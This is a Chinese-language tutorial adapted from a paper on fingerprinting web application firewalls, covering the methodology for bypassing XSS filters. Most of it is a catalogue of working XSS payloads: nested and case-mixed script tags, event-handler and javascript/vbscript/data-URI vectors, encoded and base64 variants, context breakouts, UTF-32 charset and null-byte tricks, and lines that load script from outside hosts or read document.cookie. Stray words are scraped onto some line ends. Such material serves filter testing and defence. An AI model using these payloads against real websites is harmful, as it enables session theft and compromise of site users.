本文來自於《Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters》其中的bypass xss過濾的部分,前面有根據WAF特徵肯定是哪一個WAF的測試方法給略過了,重點來看一下後面繞xss的一些基本的測試流程,雖然說是繞WAF的,但這裏仍是根據WAF中的正則缺陷來繞過測試方法,並非協議上問題,因此呢,基本能夠通用於其餘xss過濾的場景。方便新手們比較快速的瞭解到測試xss的一些基本的方法。javascript
大多數的場所是用的黑名單來作過濾器的,有三種方式繞過黑名單的測試:php
一、暴力測試(輸入大量的payload,看返回結果) 二、根據正則推算 三、利用瀏覽器bug
1)嘗試插入比較正常的HTML標籤,例如:<b>,<i>,<u>
來看一下返回頁面的狀況是怎樣的,是否被HTML編碼了,或者標籤被過濾了。html
2)嘗試插入不閉合的標籤,例如:<b,<i,<u,<marquee
而後看一下返回響應,是否對開放的標籤也有過濾。java
3)而後測試幾個XSS的payload,基本全部的xss過濾器都會進行過濾的:express
<script>alert(1);</script> <script>prompt(1);</script> <script>confirm(1);</script> <scriptsrc="http://rhainfosec.com/evil.js">
看返回響應,是過濾的所有,仍是隻過濾了部分,是否還留下了alert,prompt,confirm
字符,再嘗試大小寫的組合:瀏覽器
<scRiPt>alert(1);</scrIPt>
4)若是過濾器僅僅是把<script>
和</script>
標籤過濾掉,那麼能夠用cookie
<scr<script>ipt>alert(1)</scr<script>ipt>
的方式來繞過,這樣當<script>
標籤被過濾掉,剩下的組合起來恰好造成一個完整的payload。app
5)用<a href
標籤來測試,看返回響應框架
<a href="http://www.google.com">Clickme</a>
<a
標籤是否被過濾 href是否被過濾 href裏的數據是否被過濾xss
若是沒有數據被過濾,插入javascript協議看看:
<a href="javascript:alert(1)">Clickme</a>
是否返回錯誤 javascript的整個協議內容是否都被過濾掉,仍是隻過濾了javascript字符 嘗試下大小寫轉換
繼續測試事件觸發執行javascript:
<a href="rhainfosec.com" onmouseover=alert(1)>ClickHere</a>
看onmouseover事件是否被過濾。測試一個無效的事件,看過濾規則:
<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
是完整的返回了呢,仍是跟onmouseover同樣被幹掉了。
若是是完整的返回的話呢,那麼意味着,作了事件的黑名單,可是在HTML5中,有超過150種的方式來執行javascript代碼的事件測試一個不多見的事件:
<body/onhashchange=alert(1)><a href=#>clickit
接下來測試其餘的標籤跟屬性
<img src=x onerror=prompt(1);> <img/src=aaa.jpg onerror=prompt(1);> <video src=x onerror=prompt(1);> <audio src=x onerror=prompt(1);>
<iframe src="javascript:alert(2)"> <iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<embed/src=//goo.gl/nlX0P>
利用<form,<isindex
等標籤中的action屬性執行javascript
<form action="Javascript:alert(1)"><input type=submit> <isindex action="javascript:alert(1)" type=image> <isindex action=j	a	vas	c	r	ipt:alert(1) type=image> <isindex action=data:text/html, type=image> <formaction="data:text/html,<script>alert(1)</script>"><button>CLICK
<isindexformaction="javascript:alert(1)" type=image> <input type="image" formaction=JaVaScript:alert(0)> <form><button formaction=javascript:alert(1)>CLICKME
<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
<video poster=javascript:alert(1)//></video> // Opera 10.5如下有效
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> <object/data=//goo.gl/nlX0P?
<applet code="javascript:confirm(document.cookie);"> // Firefox有效 <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<svg/onload=prompt(1);> <marquee/onstart=confirm(2)>/ <body onload=prompt(1);> <select autofocus onfocus=alert(1)> <textarea autofocus onfocus=alert(1)> <keygen autofocus onfocus=alert(1)> <video><source onerror="javascript:alert(1)">
<q/oncut=open()> <q/oncut=alert(1)>//在限制長度的地方頗有效
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)> <bodylanguage=vbsonload=alert-1//IE8有效 <command onmouseover ="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x6 6\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> //IE8有效
當括號被過濾的時候可使用throw來繞過
<a onmouseover="javascript:window.onerror=alert;throw 1> <img src=x onerror="javascript:window.onerror=alert;throw 1">
以上兩個測試向量在Chrome跟IE在上面會出現一個「uncaught」的錯誤,能夠用如下的向量:
<body/onload=javascript:window.onerror=eval;throw"=alert\x281\x29";>
<img style="xss:expression(alert(0))"> // IE7如下 <div style="color:rgb(""�x:expression(alert(1))"></div> // IE7如下 <style>#test{x:expression(alert(/XSS/))}</style> // IE7如下
<a onmouseover=location="javascript:alert(1)">click <body onfocus="loaction="javascript:alert(1)"">123
<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P"> <meta http-equiv="refresh" content="0;javascript:alert(1)"/> <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg> <svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"></svg> <meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/> <math><a xlink:href="//jsfiddle.net/t846h/">click
<svg><script>alert(/1/)</script> // 通殺全部瀏覽器
opera中能夠不閉合
<svg><script>alert( 1) // Opera可查
不少狀況下WAF會實體編碼用戶的輸入數據,
javascript是一個很靈活的語言,可使用不少編碼,好比十六進制,Unicode和HTML。可是也對這些編碼能夠用在哪一個位置有規定:
屬性:
href= action= formaction= location= on*= name= background= poster= src= code=
支持的編碼方式:HTML,八進制,十進制,十六進制和Unicode
屬性:
data=
支持的編碼:base64
WAF最大的問題,在於不知道輸出的位置的上下文,致使根據具體環境能夠繞過。
<input value="XSStest" type=text>
可控位置爲XSStest,可使用
"><img src=x onerror=prompt(0);>
若是< >
被過濾的話能夠換成
" autofocus onfocus=alert(1)//
一樣還有不少其餘的payload:
"onmouseover=" prompt(0)x=" "onfocusin=alert(1) autofocusx=" " onfocusout=alert(1) autofocus x=" "onblur=alert(1) autofocusa="
例如:
<script> Var x="Input"; </script>
可控位置在Input,能夠閉合script標籤插入代碼,可是一樣咱們僅僅閉合雙引號就能夠執行js代碼了
";alert(1)//
最終結果就是
<script> Var x="";alert(1)// </script>
例如:
";document.body.addEventListener("DOMActivate",alert(1))// ";document.body.addEventListener("DOMActivate",prompt(1))// ";document.body.addEventListener("DOMActivate",confirm(1))//
下面是一些相同的類:
DOMAttrModified DOMCharacterDataModified DOMFocusIn DOMFocusOut DOMMouseScroll DOMNodeInserted DOMNodeInsertedIntoDocument DOMNodeRemoved DOMNodeRemovedFromDocument DOMSubtreeModified
例如:
<a href="Userinput">Click</a>
可控的是Userinput那裏咱們須要作的只是把javascript代碼輸入就行了:
javascript:alert(1)//
最後組合爲:
<a href="javascript:alert(1)//">Click</a>
使用HTML實體URL編碼繞過黑名單,href裏會自動實體解碼,若是都失敗了,能夠嘗試使用vbscript在IE10如下都有效,或者使用data協議。
使用javascript協議時可以使用的例子:
javascript:alert(1) javaSCRIPT:alert(1) JaVaScRipT:alert(1) javas	cript:\u0061lert(1); javascript:\u0061lert(1) javascript:alert(document.cookie)
vbscript:alert(1); vbscript:alert(1); vbscr	ipt:alert(1)" Data URl data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
當你的輸入會在encodeURIComponent當中顯示出來的時候,很容易插入xss代碼了
encodeURIComponent("userinput")
userinput處可控,測試代碼:
-alert(1)- -prompt(1)- -confirm(1)-
最終結果:
encodeURIComponent("-alert(1)-") encodeURIComponent("-prompt(1)-")
當返回結果在svg標籤中的時候,會有一個特性
<svg><script>varmyvar="YourInput";</script></svg>
YourInput可控,輸入
www.site.com/test.php?var=text";alert(1)//
若是把"編碼一些他仍然可以執行:
<svg><script>varmyvar="text";alert(1)//";</script></svg>
字符集的bug在IE中出現過不少次,第一個就是UTF-7,可是這個只在以前的版本中可用,如今討論一個在如今的瀏覽器當中能夠執行的javascript。
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
這個頁面當中咱們可控當前頁面的字符集,當咱們常規的測試時:
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v="><img src=x onerror=prompt(0);>
返回結果能夠看到雙引號被編碼了:
<html> <meta charset="utf-8"></meta> <body> <input type="text" value=""><img src=x onerror=prompt(0);>"></input> </body> </html>
設置字符集爲UTF-32:
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
上面這個在IE9及如下版本能夠執行成功。
利用0字節繞過:
<scri%00pt>alert(1);</scri%00pt> <scri\x00pt>alert(1);</scri%00pt> <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
在IE9及如下版本有效。
其餘等等一系列瀏覽器特性的XSS能夠參考如下文章:
http://drops.wooyun.org/tips/147
本文主要是一個測試XSS的思路流程,並無把全部的payload寫全,其實也沒有人可以寫全,只是列了一個大致的框架,你們實際在尋找的過程當中能夠不斷慢慢的根據這種思路補充本身的payload,想必呢,必定會有很大的進步的!~